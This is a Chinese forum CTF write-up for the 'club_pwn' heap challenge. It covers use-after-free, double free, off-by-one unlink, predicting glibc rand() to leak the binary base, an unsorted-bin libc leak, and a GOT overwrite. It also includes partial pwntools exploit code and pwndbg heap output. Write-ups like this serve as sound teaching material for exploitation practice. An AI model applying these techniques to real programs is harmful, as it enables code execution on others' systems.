首页
社区
课程
招聘
[原创]第四题club_pwn writeup
发表于: 2017-10-30 20:46 4010

[原创]第四题club_pwn writeup

2017-10-30 20:46
4010

菜单题,5个选项
menu
其中值得留意的是
3)destory,只能free small和normal的指针,该功能在free指针的时候没有清零,同时flag[]也没有置零。
5)guess这个功能,ida里进去发现只要我们输入正确的随机数,就可以得到&seed的地址。

destory函数中free指针后ptrflag都没有清零,同时在leaveMessagedestory和showMessage功能中没有检查flag[]inuse位,可以造成UAF和double free

leaveMessage中读入会造成off-by-one(单字节溢出)

guess的伪随机数是可预测的

checksec,发现除了RELRO,保护全开
图片描述

这个off-by-one可以造成unlink,但是我们不知道1)程序的基址2)libc的基址,所以下面我们想办法泄露这两个地址

elf的基址前面提到,guess函数的伪随机数是可以预测的,我们在得到足够的数据后预测到下一个随机数的值,其关系如下
oi = oi-31 + oi-3 mod 2**31 or oi = oi-31 + oi-3 + 1 mod 2**31, for all i ≥ 31.
其中oi为第i个output伪随机数的值(i为下标),2**31 == 2147483648,详细的内容参考这篇文章,或者原文
其部分代码如下

libc我们可以通过showMessage这个函数获得,该函数没有检查flag[]inuse,我们先申请一个smalbin大小的box,然后释放,就会在对应的chunk的fd与bk除填上unsortbins的链表头地址

我们输出这个值即可

该部分代码如下:

最后我们利用off-by-one造成unlink,修改free的got表即可

我刚开是是修改atoi的got为system但是不知道为什么本地getshell,远程eof,坑了很久,而且很多时候也会出现,望各位大佬指点一二。

def elfBase(p, numberList, pNumber):
 p.recvuntil('> ')
 p.sendline('5')
 p.recvuntil('> ')
 p.sendline(str(pNumber))
 a = p.recv(1)
 if a == 'G':
     elf.address = int(p.recvline().split(' ')[-1][:-2], 10) - 0x0000000000202148
     return 1
 p.recvuntil('is ')
 a = p.recvuntil('!')
 number = int(a[:-1], 10)
 if number not in numberList:
     numberList.append(number)
     length = len(numberList)
     if length >= 31:
         pNumber = (numberList[length-31] + numberList[length-3]) % 2147483648
         return pNumber
     else:
         return 0
........
........
def pwn(p):
 pNumber = 0
 numberList = []
 while True:
     pNumber = elfBase(p, numberList, pNumber)
     if pNumber == 1:
         break
 print('elf.address => {}'.format(hex(elf._address)))
pwndbg> parseheap 
addr                prev      size      status            fd                bk                
0x555555757000      0x0       0x410      Used                None              None
0x555555757410      0x0       0x110      Freed     0x7ffff7dd3b58    0x7ffff7dd3b58
0x555555757520      0x110     0x120      Used                None              None
pwndbg> chunkinfo 0x555555757410
==================================
         Chunk info            
==================================
Status :  Freed 
Unlinkable : True
Result of unlink :
    FD->bk (*0x7ffff7dd3b70) = BK (0x555555757410 -> 0x7ffff7dd3b58) 
    BK->fd (*0x7ffff7dd3b68) = FD (0x555555757410 -> 0x7ffff7dd3b58) 
prev_size : 0x0                  
size : 0x110                  
prev_inused : 1                    
is_mmap : 0                    
non_mainarea : 0                     
fd : 0x7ffff7dd3b58                  
bk : 0x7ffff7dd3b58

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//